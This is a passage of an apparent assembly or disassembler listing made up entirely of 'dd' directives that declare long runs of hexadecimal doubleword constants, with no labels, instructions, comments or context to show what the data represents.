0AEF6736Dh dd 1B4B39EBh, 0C6D19EF4h, 9EEB3F7Bh, 938B5237h, 4EBA5F41h dd 1245ADFh, 491F3A2Ch, 0E62B8487h, 46F785E0h, 0B647C92Ah dd 25862AA2h, 3105CDC0h, 0CF9F8C1Dh, 0DE513E48h, 197F8913h dd 17ED346h, 9634DE9Bh, 0CE1A42EAh, 2B42E72Bh, 3964AD58h dd 0C55A6E73h, 23722DB9h, 64348740h, 43CB066Bh, 8CD39932h dd 8CB6C89Ah, 3A3F7EC8h, 2F3B7FF3h, 1C5144E8h, 252ADCACh dd 0DB3F394Dh, 767F1460h, 76261809h, 3FBC4186h, 3F1335D2h dd 4E5B58A4h, 42E12317h, 47635EA2h, 4A005C4Fh, 3BB325D2h dd 969FD225h, 5FB81A68h, 46105FF2h, 0A35F8FBEh, 4D5B7756h dd 0EF94055Bh, 8383F84Eh, 0A7D9E315h, 6810454h, 3E418F8Dh dd 61DD04EFh, 5371E1CCh, 0F5A09007h, 0C0ECD989h, 5F60F8Ah dd 97210B79h, 68E69624h, 3E933F29h, 31869E21h, 5D136EACh dd 2BA27185h, 0EED525DFh, 7AB84E30h, 12BDCBEEh, 41608139h dd 877CF622h, 1B55CC6h, 3D29E91Eh, 39EBEA76h, 402634A8h dd 0A7CEA28Fh, 98500E4Dh, 111E5E00h, 72BE9745h, 0ED838761h dd 0E084BDBEh, 7EB4EC16h, 91D32989h, 78F30175h, 9A58BE54h dd 0D0C416F4h, 0D86A9B62h, 0FE876A2Ah, 445676BCh, 64178A64h dd 0ED9C59Ah, 99674541h, 16B25810h, 1D124F77h, 4A4D8FC6h dd 0C6A630h, 4EE9AD18h, 0C9E239E6h, 0DFBF9B64h, 617C712h dd 0B9E07D74h, 358ADC06h, 0D124CC7Ah, 5330117Dh, 473E9E61h dd 5F3F1958h, 33BE5157h, 5A746A8Fh, 593B4F50h, 9D8FC03Dh dd 0BB840F54h, 0FF6DBA65h, 8C18AB30h, 180FEDDCh, 132B4198h dd 0B72C3E40h, 45620E5Eh, 0FD471BB6h, 46783D00h, 0EABC041Ch dd 2B76C71Ch, 26D6B022h, 0D9564885h, 0B2FD19A6h, 0DFDF7AF5h dd 20EA303Ah, 0C8751B95h, 5A52754Fh, 77988E5Ah, 302B9877h dd 4806B679h, 56B03EE6h, 21121BAAh, 618E89B5h, 0B50174A1h dd 9C8CC191h, 0AE22C1AFh, 27C15A2h, 2D70FE3Fh, 4C7ED052h dd 0D979AC8h, 22F28B76h, 0C96EFA4Fh, 3B129B54h, 5C0DF8Dh dd 0ACB20154h, 57651DE5h, 3C7296Ch, 0D3B09D2Dh, 74D785A7h dd 0ADD9E586h, 0B8DA1C93h, 0CEDCD6ECh, 0FC2643Ch, 967086C7h dd 758EB41Bh, 0EED5FBFCh, 41589C51h, 0D210270Ah, 0E500BCEAh dd 261B426Ah, 61DA862Eh, 47AD0D2Fh, 765BB073h, 45175A5Ah dd 97B5C129h, 0D165C201h, 0A3B9F103h, 0BF2D2FFCh, 1203BA46h dd 4354DBE5h, 0DEE96815h, 0FD485810h, 0C9D4F63Bh, 22574429h dd 5D5CC540h, 9B6F9F26h, 0E4ABBF27h, 27A5DC59h, 527174E2h dd 529298BFh, 0F6260F46h, 0A592887Eh, 0DB5DBD76h, 1510E455h dd 7AA93E30h, 69D54B53h, 3C399BFDh, 648869C9h, 0BAD68E72h dd 0BB0770F7h, 7EFE1266h, 0C4C54468h, 1C85AECBh, 0B4E711F9h dd 181E57F6h, 4F965314h, 9450F2F8h, 159454F8h, 0F8F724DEh dd 5D96DB24h, 5108FAA5h, 86B47023h, 0ADBF900Eh, 72AB2FA7h dd 13B276E9h, 714F8014h, 8E5FE422h, 3A63D8BCh, 2C50E7FEh dd 0FE86E5B2h, 8E9A3D38h, 141EBEFEh, 5E72F58Ch, 2EBF0F19h dd 0A6297E2Fh, 4107956Ch, 3EB9DDBEh, 4E821922h, 8D575B64h dd 223C8E77h, 0AB3D7726h, 1C1A1C1Ch, 59169F1h, 12E889C6h dd 0C9FA473Fh, 651BEDB4h, 777B0885h, 11CD4B01h, 3FF91A7Ah dd 6CDBDAC1h, 2BF50F5Dh, 0B1AFEDAh, 78D21F88h, 0BDD8A889h dd 99BF5E4Eh, 7D163326h, 67D703DEh, 0E2708000h, 834D4AD7h dd 0F563CA5Bh, 0E98D5370h, 0CFC856CDh, 0CFD3E506h, 5B1A0D0Ch dd 0A625FACFh, 0EC412493h, 5605753h, 825A670Fh, 6210937Dh dd 0FB1628F0h, 1A76A848h, 461FD469h, 229A7326h, 0A05E264Fh dd 0D1CEED9Eh, 0A8E94EC3h, 10327E21h, 0EF736F33h, 0FAAD0D7h dd 52FE88E0h, 46D7272Dh, 4AC299DFh, 3065AE6Eh, 3E9A9B68h dd 4B6ED8EEh, 190D1A0Eh, 71D70337h, 0B671A986h, 0F0738F7Ch dd 0B94296F7h, 29C37FDFh, 593AAEBAh, 9A4A496Bh, 971B569Bh dd 0DC7CC5BCh, 499D823Ah, 36F5E8AFh, 0B3D5B119h, 5AF5AE4Ah dd 2CA1C975h, 161AA675h, 4A06C510h, 869557B3h, 57B3CB51h dd 0CC667DE3h, 516848DBh, 3C8BED1Dh, 99212CF1h, 0C36AF2FDh dd 21629066h, 0F9A7CE8Bh dd 0A5B9C8B2h, 0E0DAF348h, 0DF244F64h, 0DF07DADh, 2D767E07h dd 9E3F7CF5h, 0E15EB166h, 0B7B3A5DDh, 0B18E83C7h, 7FA62523h dd 0E4438BCCh, 97B46735h, 8E54DB3Eh, 404848DDh, 2D279205h dd 74451B94h, 0BAB46C8Fh, 4D0E1CADh, 0BF0315EBh, 1E3CDED0h dd 0CC129E64h, 0AFA8EABh, 4DD8D1FEh, 32BF2134h, 6219922Dh dd 6D88E25Dh, 1106DE8Fh, 10327A2Ah, 0D43ADDBFh, 250284C2h dd 0D85334B1h, 58F6B736h, 5067F3E3h, 0EADE7CD8h, 0D0C30FB3h dd 0EFB554A4h, 48CE1FF8h, 0F827CF9Dh, 7C922663h, 567682AAh dd 0CFBC4E02h, 41012870h, 0C0A5ADFBh, 0D3508539h, 37973D6Bh dd 98871C18h, 462D6C3Ch, 768618E1h, 0A2DD102Fh, 0B2D7CFE3h dd 0E6A99DEh, 1B640B8Eh, 0B34ADAE4h, 0FE62448Ah, 8B6BB584h dd 28B58131h, 1EC9C804h, 0FA0E7AC4h, 8C0B060Dh, 0F31CFEF6h dd 89D7929h, 0B18F612Ah, 36785765h, 0A877609Eh, 1CA9EDFEh dd 9917AD7Dh, 0F1756675h, 0BE2DAEDEh, 5B90BFDDh, 15C54E09h dd 7C82E121h, 8C27132Bh, 0C4CC872h, 28A61CDEh, 1D3514CAh dd 0E1466795h, 1689CA1Dh, 7EFEEC63h, 0E59F1EFBh, 0F5C24A55h dd 778AABAh, 0CD3BE632h, 3FC10F68h, 1D0FC937h, 1B7BA59Ch dd 8210E1FAh, 83EFC208h, 24262A9Eh, 576C5E1Fh, 802A60F7h dd 186CAD55h, 0E8345ADBh, 9726E12Fh, 2C0469D5h, 5997A53Ah dd 0A770CA72h, 0A683E64Bh, 4E90791Dh, 73A833BAh, 6351D81Eh dd 7CB69F2Ch, 16457534h, 5F3C638Eh, 0E270F99Dh, 783DED93h dd 6C618167h, 0DB822DF4h, 0FA4CC3C8h, 1D3E4172h, 4896993Fh dd 6B25201h, 8AC33E92h, 0F709FD9Eh, 738EB7AFh, 0F93E5666h dd 0AE32AF74h, 9F24B1AAh, 0BF5EA4C9h, 970B706Ch, 0A9843A85h dd 0CDE28C6Ch, 7EB7DC10h, 0CBBED084h, 5C51BBADh, 2C504912h dd 25C0D822h, 27A2FC39h, 49E12046h, 0F2C47B34h, 0C4B95B5Dh dd 9E8B7E3Eh, 0C0BC39EAh, 0BDFA3566h, 6BB6D578h, 0EFDA98A5h dd 0AB7B2B44h, 4869E5D3h, 0B36CFFDFh, 5911C386h, 522FA0EDh dd 62F1FF85h, 14128F90h, 0CDC995E4h, 0B9830200h, 0DC413CE8h dd 996E1596h, 8D405E58h, 9B7B94C0h, 5CD041F4h, 550233E5h dd 243A66A3h, 0A15797D1h, 1E37F178h, 0FCF3E112h, 637457E2h dd 299B6B90h, 672FB26Ah, 0DF8F45ABh, 8A5AB0C4h, 75F94800h dd 0DD7F92B7h, 262567B8h, 32BEFBE2h, 6FD5799Bh, 8ECE3AEh dd 82E60D2Dh, 41CA5430h, 53A211BFh, 0EB2EBEECh, 7E16327Ah dd 87DFBDF4h, 4C81EECEh, 6F58746Eh, 1957F331h, 4C1E14DCh dd 0A65C7C40h, 0C6E70373h, 0DB344E84h, 0B9A8E455h, 0B96B9429h dd 0F38FBD21h, 54C65F97h, 1DB5A540h, 694B7C88h, 9CC06A6Ah dd 6D6C5EBEh, 0C9D4D046h, 14CDA812h, 9FE05CE3h, 7AFE92CEh dd 0FED961E7h, 0AC13D9E9h, 0EDC5AB59h, 4CD448C3h, 0D149B464h dd 0C366522h, 2CBF9681h, 81F6BBADh, 340D5657h, 0F8663892h dd 0C3BBE622h, 736E2ACDh, 26B2FEF7h, 162A4051h, 37836C1h dd 6A4920F7h, 1C492D2Bh, 0B3F27929h, 0BA151C2Eh, 0EE9EFB72h dd 0D7DD7798h, 0C877B027h, 5D4B8B06h, 0CCD6365Ch, 0E8306837h dd 0AB7E6CA0h, 0F25B6A3Ah, 4CFABC61h, 0E8C1C3Bh, 0E8F9E48Ch dd 0B004B99Ch, 1C0A9DC9h, 5ECDEF44h, 76B3F96Bh, 6CE86810h dd 0BA60637Ch, 2E9E514Eh, 1B056862h, 765A5CE0h, 3C6622E2h dd 0D36016C0h, 5D43CABAh, 0A648F9E1h, 0C40991D7h, 3D9CCD4Ah dd 95DF7294h, 362690C8h, 84B3E0D7h, 256A9197h, 781476B5h dd 0EF1D512Dh, 0B9A510F4h, 0DE417AA9h, 0C9E430FEh, 0A3B1A045h dd 0C0CB1011h, 95063FA0h, 9E98EA51h, 0E1578B8Dh, 7507A331h dd 4117A20Ah, 18E3FF98h, 0DA4645Eh, 40D60C49h, 0F7A25432h dd 0AAAF5E9Ch, 76AA26F2h, 27599C08h, 0FFA3A11Bh, 7CED0807h dd 0D1480A79h, 0AE6A59C8h, 3689647Ch, 0ECAD5304h, 1B451D8Ch dd 6688745Fh, 0C30BC9CAh, 0BF328848h, 30C71CBEh, 6527FB75h dd 0F53BC44Dh, 0BBD20286h, 4CC48D39h, 28048CF1h, 0B44C0C05h dd 0B04BFE6Dh, 9E971890h, 0EFF4B1C9h, 38A8BD2h, 11CF07EDh dd 55556D99h, 23B60DE8h, 4F0BD282h, 590269B3h, 0B2D1C7A5h dd 27D14627h, 48D4C10h, 173D9125h, 9C109389h, 2FA95DDEh dd 0BBCA81B6h, 5EDF509h, 76D07749h, 0C6DA476Eh, 607EF43Ah dd 6C191ACBh, 3DECB360h, 0B39963E9h, 0DC309948h, 60ED357Bh dd 3F0E5341h, 4535AB05h, 0B74F3A2Dh, 4B7FEAF4h, 3B603C6h dd 7BA32124h, 9BE38204h, 0FA5A5D16h, 71C17DA4h, 6387CCDCh dd 0ED93417Eh, 3F9765CCh, 6D6159C3h, 9FA3E739h, 44812F5h dd 8C732616h, 0E34AE95Ch, 806E84B0h, 79AA3577h, 0A9A11A92h dd 61FD177h, 0E7173006h, 87D2BD1h, 0DB9EA424h, 0F6E87D13h dd 0E4ECE47Dh, 2EBC905Dh, 2A501717h, 19297641h, 656A87A6h dd 58D00C23h, 394A81DFh, 3B91A1Bh, 15D00249h, 8A8B1A16h dd 28B12DDEh, 0FCF0A2C5h, 2C724A41h, 0FCAE64C2h, 0C7ED3847h dd 0EE8A7E2Eh, 9A0C9F7Dh, 0BE45662Ch, 0CF389DE1h, 7F31E9C5h dd 1EE8F2F4h, 5CF68CB1h, 9849BCBAh, 0E6E0FCD2h, 0D47C4225h dd 88E40AD3h, 80E872DBh, 6A98CAD1h, 0DE147AFBh, 2878A390h dd 1912D09Ch, 0AD016266h, 0B674BB32h, 4D1591C0h, 0E5AD1A4Eh dd 40A4E49Dh, 185293E3h, 0CC6F00BAh, 10A348AAh, 0F53A49E8h dd 0ABC966D7h, 6747C25Fh, 3560CD9Ch, 0EBF5DA0Eh, 8847DF67h dd 419C9356h, 0FDFF55E0h, 7FBB9EC2h, 0C72698FCh, 8F4984E2h dd 3CCE3DEEh, 54E6B063h, 0CD895EC3h, 893B35F0h, 21B5306Eh dd 44CB2AB3h, 0DFFA697Bh, 91F97053h, 7A48ACD0h, 0E2C31A39h dd 2ADD502h, 0C4E17800h, 71F5F6FEh, 252B385Bh, 639E2A24h dd 9F0FC98Eh, 0EE403D1h, 8F7AB447h, 480A63D8h, 5991EA02h dd 1AABEC33h, 27568B62h, 813934Fh, 6FCADB6h, 0A8BFCF5h dd 0F2B6FD2Ah, 6AF0E892h, 5755F142h, 0FFB04A85h, 8C8E8417h dd 0BE525A3Fh, 3A5AD43h, 406208D4h, 4C344A95h, 1EF4D881h dd 6084228h, 3D0D3B8Eh, 0A632E492h, 8E67A5EDh, 62241A86h dd 0DE1AA37Dh, 57F52FDBh, 0F4C1D6FEh, 686BD1CEh, 9EB8EA6Dh dd 9F13C285h, 389CFBFDh, 0D07B9EA1h, 9168C07h, 0D92EF681h dd 305E7984h, 0F873DC5Ch, 609E9CCCh, 3D751E59h, 26D22E78h dd 6950C8A4h, 0FA5B76Ch, 0EF907EEh, 0F694574Ah, 622D56FCh dd 6797870Fh, 41763DFCh, 3AE6338Ch, 15C1CDA7h, 0E5B5161Bh dd 2B33BD37h, 56D5B7C3h, 80D16D5h, 0C1407E56h, 339EABECh dd 83F9DFCDh, 0D89A7CE0h, 0C7DCDD92h, 0DC8CBAA1h, 0B6B1CA6Ch dd 0AECD458Bh, 6C54CD89h, 2E50059Eh, 486E1D75h, 22FB695h dd 186A1AF0h, 0A47DBA61h, 8848C7DDh, 652B9880h, 90AE09D6h dd 3320468Eh, 560C6733h, 78BE8FD1h, 0A8D02F63h, 7A3E3EF3h dd 32761FD9h, 9122C44Bh, 78940283h, 582A2928h, 0F8E38E72h dd 0D5BD3530h, 359CDF40h, 2FF6AD50h, 432C0D98h, 2F0CFACFh dd 3E245010h, 0DDA5A137h, 0AD59601Eh, 0C64772CFh, 2FC49467h dd 0CD09EBF6h, 83E6566Eh, 3150E5C2h, 7EFCFD98h, 0B393BEC8h dd 5C7F0682h, 2FB7B16h, 35FA43C0h, 0AA61486Dh, 32DA30B3h dd 756B4B08h, 0AED3764Ch, 0B67000A6h, 4F045E8Ch, 1FD08FEEh dd 5AB99B66h, 767ADEEEh, 0EF0D7F00h, 0B9CC33E4h, 7DC76109h dd 37E4F9C2h, 1F734588h, 0CD16C832h, 6E49B86Dh, 437DDA9Ah dd 0FBDFEA68h, 0F2F57EEAh, 0DFECED0Ch, 218A7320h, 0FBAD3E61h dd 0A6B4D003h, 78AE7F15h dd 0C7EC9E35h, 0D543F8F8h, 54651618h, 0F7F8B3B1h, 0E051AF7h dd 2E2474E4h, 0FB7ABC60h, 0E51F123Ch, 15E0AA6Eh, 0F2A3DE2Bh dd 9E340582h, 0ACF665FEh, 3EE717EAh, 52630206h, 0E7AE8362h dd 1CB01A2Ah, 9A7E031Fh, 0E9ECA589h, 0A10E4B42h, 29ADD93Ah dd 1780B091h, 45AB4ED8h, 0A2BADB57h, 68367313h, 0D6BDAC6h dd 38B8F258h, 7DBDEC0Fh, 0BE1BA2EAh, 4B7C81B5h, 0AFA768BCh dd 611E49C3h, 50355D7Fh, 0C1BDF1F2h, 0C26B541Ch, 0A032E494h dd 0FCAD945Dh, 0BAADCD9Dh, 761AC046h, 141928DCh, 3E691C58h dd 2C9A2941h, 0A86B1DA6h, 7F332475h, 6BAB8EE3h, 0BCD73223h dd 0DF395CF6h, 0F596D2CFh, 0AE3B7F4Ch, 9E48D67Eh, 0B6C69768h dd 42D8F310h, 85666729h, 9EB78429h, 6A6FDF9Fh, 1B2D040Ch dd 904F36ADh, 0C918A633h, 804F2D17h, 0ABEF67FCh, 1CA11FF9h dd 0CF3DDAC8h, 0EE3F5740h, 498FCDF9h, 810C7954h, 0BE3F2CC2h dd 910CB094h, 0E2B52A98h, 75ACCB49h, 0AE6D3489h, 74282CECh dd 0A1D37F39h, 6C3B08BDh, 24BB69FCh, 69A713D2h, 0E7F8AF92h dd 18811387h, 201544C1h, 0CAC775D5h, 954F3AFBh, 0A30FF633h dd 0F221D10h, 0B2E22C75h, 0EEB9D702h, 2DB6A627h, 0A0908CE6h dd 0A5368864h, 0D42C9D4Eh, 0C0848EEAh, 89E142DDh, 0DDAC8CE7h dd 2F115F5h, 9CB89429h, 0F5C5A16Ah, 0F567E3C9h, 2167F769h dd 0E5F70BBDh, 6B46067h, 30382232h, 70BFCB13h, 309C8251h dd 19388C42h, 0F2D2C218h, 566EF9BFh, 57A9981Dh, 6A4903F5h dd 0EFF9554Eh, 0F686210h, 52940162h, 2E3025EDh, 0E6CA6B1Dh dd 2272B143h, 69FB2044h, 1901235Eh, 0DDA571C0h, 0CE86752Dh dd 4A5D0249h, 9C893D9Ch, 3D73738Bh, 9DAABC8Ah, 6D893FA5h dd 4E5712B8h, 849D1B68h, 0D92DA32h, 0D3E5ADA3h, 6646DB02h dd 0A3C2D7B1h, 4D66FB4Dh, 5FADF08h, 0F1FAEA32h, 396D1FC8h dd 509F32EEh, 6482B556h, 355BC569h, 447DAD0Bh, 4030133Ch dd 3043BDE8h, 29F065DCh, 0F34E2F4Ch, 90307CAEh, 0FE5C2F99h dd 0FB1F0EFDh, 0B24CBCF1h, 0B26A2819h, 38E01556h, 2F5D4BE5h dd 0D235A002h, 0D917315Eh, 0A2505178h, 0D6384B23h, 0C695CFE1h dd 82426C04h, 0D1CF0C59h, 74378772h, 18FC610Dh, 240A6629h dd 0D6C81847h, 2FB5A48Ch, 2E4F802Fh, 6DE0DDAFh, 55D9D698h dd 0CE1E8C2Bh, 839F73D1h, 0D113EB81h, 8E83C446h, 9A1526B9h dd 9E80CE16h, 97C6F9BEh, 0B165B0F6h, 0B4A04EFh, 0CFFF7620h dd 0B89D341h, 2795FB2h, 0E2121A61h, 0AA2602Bh, 0F3FDDC01h dd 27DD2471h, 0DC38825Ah, 7922FD8h, 536A7B7Fh, 0F73E1AB0h dd 2D94F797h, 13230145h, 11BC803Fh, 6A93CF7Bh, 7FE91BFBh dd 943FDBF4h, 0FC718BF3h, 67A935B2h, 9DE00DE8h, 0E247196Dh dd 11D909DCh, 0E89AB725h, 0F9EC37CAh, 0D34A0A08h, 9386787Ah dd 0D6D39347h, 0A262092Fh, 0B55B4D02h, 0F7445B20h, 25B55E6Fh dd 0F516D8BFh, 0C0D616E8h, 0BD660568h, 9A51C33Fh, 6210B10h dd 2E472530h, 207A3367h, 87B7CEAh, 0C4D45018h, 31C734D1h dd 5691F392h, 5251AD55h, 0A9F7868Eh, 0A22B7E6Dh, 57D2C5CCh dd 0CAD8FD70h, 1B4F8684h, 0FE4088B0h, 37908DDAh, 4D4F8872h dd 9C2E780Eh, 51B71820h, 0A9B6175h, 0D1D30C3Dh, 5726B019h dd 2B853A92h, 5ACFC5ADh, 62C7C1C8h, 0CECF2C8Bh, 91DF120Eh dd 93D0F91Ch, 0E1DA3C3Dh, 0E0E3C14h, 0C1523F82h, 0C9B45CFEh dd 0C0D2EBA3h, 295A042Ch, 4B9DD934h, 72DD98F3h, 0E2372B05h dd 0BBAA9E1Ah, 2E8F584Dh, 0A22AEFCAh, 0FB77EF0h, 667EE824h dd 13BFDF1h, 591643D4h, 357F30E0h, 5A65975Ch, 32426B62h dd 76C72931h, 4D3F37E5h, 9DF53974h, 21564973h, 77405946h dd 0F508DF7Ch, 523EF2B3h, 27E05F68h, 338DAEE6h, 6C9AB38Ah dd 13A3D2CAh, 57697D1Ah, 9D909F99h, 0DA099E2Ah, 0E5DA996Ch dd 0C88FDCA1h, 5A48CF3Fh, 0E4A7D744h, 55115E69h, 18A0DBDFh dd 0B0D68140h, 292EF5D0h, 85A5B7D4h, 0C8C546C7h, 9458608Eh dd 0D7516D5Fh, 14F497CFh, 6AA1B982h, 1FC63682h, 9CA3C967h dd 0BFF6F1F9h, 54EFCB9Bh, 0FD2D0457h, 0B171CD2Dh, 3856B2C0h dd 0C9FAFC18h, 73F5E30Ch, 0CFCC67ECh, 0E89B9934h, 846EE647h dd 344342CCh, 9DE97452h, 9A3EAC70h, 993797A6h, 84A9F0EDh dd 30C08446h, 0D9A4EE35h, 2649D227h, 23F5472Ah, 0BF86E236h dd 5D689F11h, 8C11EB1Ah, 0E46D83F2h, 0A35D2BF2h, 0C6F19C9Ch dd 667C2C3Ah, 4B97EDD8h, 2F26BDCEh, 0C74B3A3Bh, 5AF69F6Bh dd 0EBE4FF1Ch, 4BBE8DBBh, 7FEB4F88h, 0DA71B305h, 8DAAB5ADh dd 0A37C4577h, 0A14E4AF3h, 1350C916h, 0E1B4046h, 7899D5BDh dd 0D6F59828h, 0EA78AE9Ah, 6D53CC6h, 9755EAABh, 0F8C391D6h dd 4DC07BEh, 4952BE0Ah, 0A338FA17h, 69DCD689h, 0EF4E06B4h dd 7CC49F30h, 2218575Eh, 0A4721DBh, 0B90B7CFFh, 0CD0A0CB2h dd 0B367143Fh, 9688D97Ah, 1105A7Dh, 81AF0275h, 2954B0F0h dd 72840EC1h, 0F0AE8B7Ah, 6637A31Eh, 2E483A1Ch, 3AEAFA94h dd 3EBA5C7Eh, 0E52200E0h, 0BEAEBB7Dh, 1A3264A1h, 5DA90190h dd 0E4F7CEAAh, 0E4D53F2h, 852ACD5Fh, 1CE41A30h, 299D0B5Ch dd 75731853h, 0A7732C52h, 0B68C51A1h, 5C4C3556h, 0BF457225h dd 0D9E5C729h, 2679E3D0h, 491E0FA1h, 0E0031826h, 73D481FCh dd 7DEF14CBh, 34592276h, 1F07061Eh, 761F7567h, 0A5EF2C7h dd 0D2FC7DFAh, 0D728DF41h, 0EC8921ECh, 0DDCE0E24h, 0B1966B52h dd 5D72C2CBh, 7815A03Ah, 0F9DC858Fh, 962B515Ah, 62232011h dd 0B36F5B71h, 0AA2F506Fh, 142B018Eh, 0A1C9CA3Ch, 0A39189E7h dd 65BC048Ah, 3C58B698h, 0A2E90205h, 3C9D926Bh, 4DB89960h dd 1DB7F7B7h, 0F8A23A1h, 0DC2FB902h, 0DF242F7h, 698FC83Eh dd 0EE763218h, 174369D4h, 0C52DDF55h, 3BC08CADh, 0DB6BA488h dd 775C463Dh, 0C8E5FC62h, 0E8BACD2Ah, 8B5827F6h, 0B5923563h dd 0D69FA721h, 0D13B43FFh, 6F0FA42Dh, 275EF831h, 17313411h dd 0E71D505Eh, 881862B4h, 0D70D44D9h, 0F205CE65h, 0B60B5615h dd 1074FA68h, 9EE49749h, 4F8A702Eh, 7467F4D5h, 11A1DD83h dd 0DED61C5Fh, 17C7DBEEh, 603AA891h, 766727C2h, 0AFE62ACh dd 174EAFB3h, 3E031116h, 0F57793C7h, 73888E37h, 0B86CE7B8h dd 0DF56A12Dh, 0DDEE78F6h, 0B0EF3A7Ch, 0EF62750Ch, 0AFF98328h dd 4EEF57F5h, 0B0FB8367h, 486C00FCh, 0ACC96AA6h, 9230D3BBh dd 9853CE29h, 96924A4Eh, 0BCAA2A73h, 0A60F371Dh, 8670B890h dd 0B2067559h, 54E233D6h, 1E65AD33h, 63A2B038h, 5C8DEA18h dd 0EC121ABh, 741F7C52h, 1E5FA58Dh, 91B92422h, 0A655E6C7h dd 0C4BAE1D3h, 0EB42A6F5h, 411017F5h, 0A426B8E4h, 7EE2AE99h dd 0E9EB99DEh, 3D7AB310h, 0DD57A8EDh, 0C8306E39h, 2121F1C8h dd 2AE3A5FAh, 0C200A1EEh, 722519A4h, 5AA2D953h, 22F69B93h dd 3C0BEE8Eh, 95AB2A2Bh, 5EC078A7h, 0E8FCB562h, 5590061h dd 8D424CAFh, 0A97E2C93h, 8A6337B8h, 84382093h, 2EEC7ACFh dd 0B2FF72Fh, 0C9D18F61h, 4467427h, 739FB0D9h, 0A9AD47B7h dd 0F5134294h, 26A2361h, 5182405Ah, 36A33D27h, 0FD299F88h dd 5AEA06A0h, 279BFE38h, 0F9369F8h, 8BF8C5F0h, 7A029461h dd 59F8A343h, 6B82476Fh, 74FF4427h, 17D79DE8h, 84479853h dd 0C1A9FDD1h, 8ECCAB6Ch, 485AD2A2h, 0ACC4A6B1h, 3028C24Ah dd 0DA6A0296h, 14FD8A68h, 5D6F47D3h, 0EBE0B087h, 0DB3187Dh dd 0FD7B7B12h, 5C67803h dd 780E3B4Dh, 4F6BE965h, 33ADE9DAh, 37519240h, 0EF57E3FDh dd 78E7AC5Ch, 0C61DB376h, 0B3ECB1D1h, 6D746477h, 68E13866h dd 5E8721Fh, 8AF8A8D7h, 8CBFF054h, 0E8162802h, 73653471h dd 4F62BACFh, 0F672F0D7h, 0FD8C4535h, 0B4FBFC9Eh, 0DEC085F1h dd 0BDBA69EEh, 12309815h, 325D3D8h, 0D2E35B40h, 0D08016EFh dd 3047FEE1h, 820CE24Bh, 0CD1F96Eh, 0FFBC96Fh, 13FA8F68h dd 52112831h, 0B78A4EEh, 0C0706FE3h, 44DEAC45h, 0AF613F79h dd 392776Eh, 0B485CA6Dh, 33CB8D43h, 6B160C6Fh, 0AB3CBB3Bh dd 3E40B3D6h, 0EF483FBFh, 1E78C4D8h, 0E5B492DAh, 63A82CD8h dd 968E714Eh, 0AB360908h, 5BAA007Eh, 177088B2h, 74098D61h dd 0CFE103B0h, 0F2ECB7E6h, 16A878D3h, 97C8DD52h, 0B1481156h dd 16CE5DFBh, 0F256DAE1h, 0B66128D7h, 6D506D09h, 0F353912Ch dd 21EB8E8Eh, 3B311601h, 0C7436275h, 85DF3BB0h, 0BA1F8227h dd 401AE2AFh, 0FE7C9A9Ah, 52EF1975h, 0A02908D4h, 9F93311h dd 668822ACh, 55CEDCFDh, 476A9B79h, 196BA93Eh, 6484DAA1h dd 92EFEEC9h, 0D864A5ADh, 13167B61h, 5A0AB62Bh, 2ADC4E86h dd 8315CF18h, 7157E6CFh, 0F9EED196h, 48728211h, 256CC327h dd 4945D9F8h, 81CD71A3h, 2C6548DAh, 9242A90Fh, 377E4610h dd 0A85ECh, 0A0826D59h, 34610390h, 0B37066C8h, 31BE6609h dd 2986F9F2h, 43BA4A51h, 663DA3F6h, 5FA48E99h, 0E4A8FD9h dd 0FF3BFFB4h, 6F8C8289h, 0B7E67ED1h, 21461F12h, 0DD8589D6h dd 7F40071Ah, 2C22F1F6h, 0B8E4A405h, 35FD023Ch, 433C5F97h dd 67ED0726h, 0F43D3444h, 8F8BF5BEh, 0FA4F3741h, 72AC0584h dd 6820B81Ah, 0BB43A477h, 550F434Ah, 9071D217h, 0B9B3307Eh dd 0F5310764h, 1C52DCCDh, 0CC90EC7Dh, 71174AECh, 0EB89CCA6h dd 0E849F7Ah, 560598ECh, 0A97D39D4h, 0A06BDDF6h, 5398A38Fh dd 0B5B67AF8h, 4093D6CDh, 0BF72A3C3h, 0B94ACF84h, 0F5329BBh dd 2B8C22FFh, 23EEF29h, 0D8DE7515h, 9CB1B8E3h, 931A0F75h dd 6F44197Ch, 552F559h, 7B401C69h, 848EDE04h, 0BAD2EDEBh dd 9E099A82h, 6B707ABEh, 0F9B191ADh, 0EE600A97h, 0F6EFB166h dd 4CE7C03Ch, 0B3DEDF92h, 0F0BFEA61h, 1075AC6Dh, 1C28BF4Ch dd 15B8CF7Eh, 1F19AA0h, 9BDE4ABEh, 3A7FA1CBh, 8F19B3FDh dd 5832992Dh, 0DE2C9517h, 0C3B8456Ah, 42FA8D29h, 2CD2288Ah dd 0ABF7E4F4h, 4AFE2C05h, 6DEF9ABCh, 0ADBBBABCh, 67FD21D1h dd 0A6AC6C16h, 7EA9CC3h, 0D993A538h, 1F34F5EFh, 52F2F214h dd 7F6A9F6Fh, 0A3AD659Fh, 0F545D524h, 0E750447Ch, 0BA5D5E41h dd 0C4FE5C8Dh, 75EA93D7h, 0B528BAAFh, 5CFDABAh, 6C55D491h dd 7E3ED0F8h, 9B1D19C6h, 0B3EDE1ECh, 41B26019h, 153582FDh dd 0AE22BF3Bh, 0B6A3E782h, 639A40Ch, 0D92D795Fh, 2A0BBB78h dd 0DEB9000Ch, 7A034C82h, 1E24A3FCh, 0C3385CAAh, 6F7ED5C2h dd 0EDC55C10h, 8D820458h, 3F42DA11h, 363ECD2Fh, 0C457BAEh dd 4958D17Ch, 0E2940D07h, 0C4398C79h, 0BEC75C28h, 93A23877h dd 95BE99ABh, 173D477Ah, 0F0AB5A8Bh, 0F6D13EEh, 46540E99h dd 97CDD45Ch, 44FF9C59h, 30C14919h, 3BD7930h, 0EA116176h dd 5DA65E45h, 92B309D0h, 9D464B62h, 98B71143h, 0CC35610Fh dd 0DF7B8515h, 47983B6Ch, 0C6CC8C76h, 0EC1C3B08h, 1790FD2h dd 0ED8AD792h, 0B9EB5135h, 266AD1ECh, 98DF901h, 5B0759A3h dd 0E2D26901h, 7D7A958h, 8F204009h, 16346973h, 4408633Bh dd 0EEB14EBDh, 1ECB34E9h, 0A0BB5F55h, 24CA458Ah, 0B2640D9Fh dd 4E58E244h, 3686689Ah, 0D11F7B47h, 30740A19h, 8EEEA723h dd 0DC8D329Bh, 5817A447h, 1CC5818Bh, 606CA022h, 406CB7DAh dd 3EC8A7A6h, 8100B417h, 627A17A3h, 0B1BA06EAh, 0A7C4FB74h dd 818665EEh, 0D5A7C46Eh, 0C51B822Dh, 0FD6D501Dh, 0B9DF92B3h dd 1BF40FB5h, 5EB7B7F1h, 3C1CF3DDh, 0E87DF686h, 7F813E94h dd 3323F900h, 0E33CB6D4h, 2850EBFFh, 84951C82h, 73D3B903h 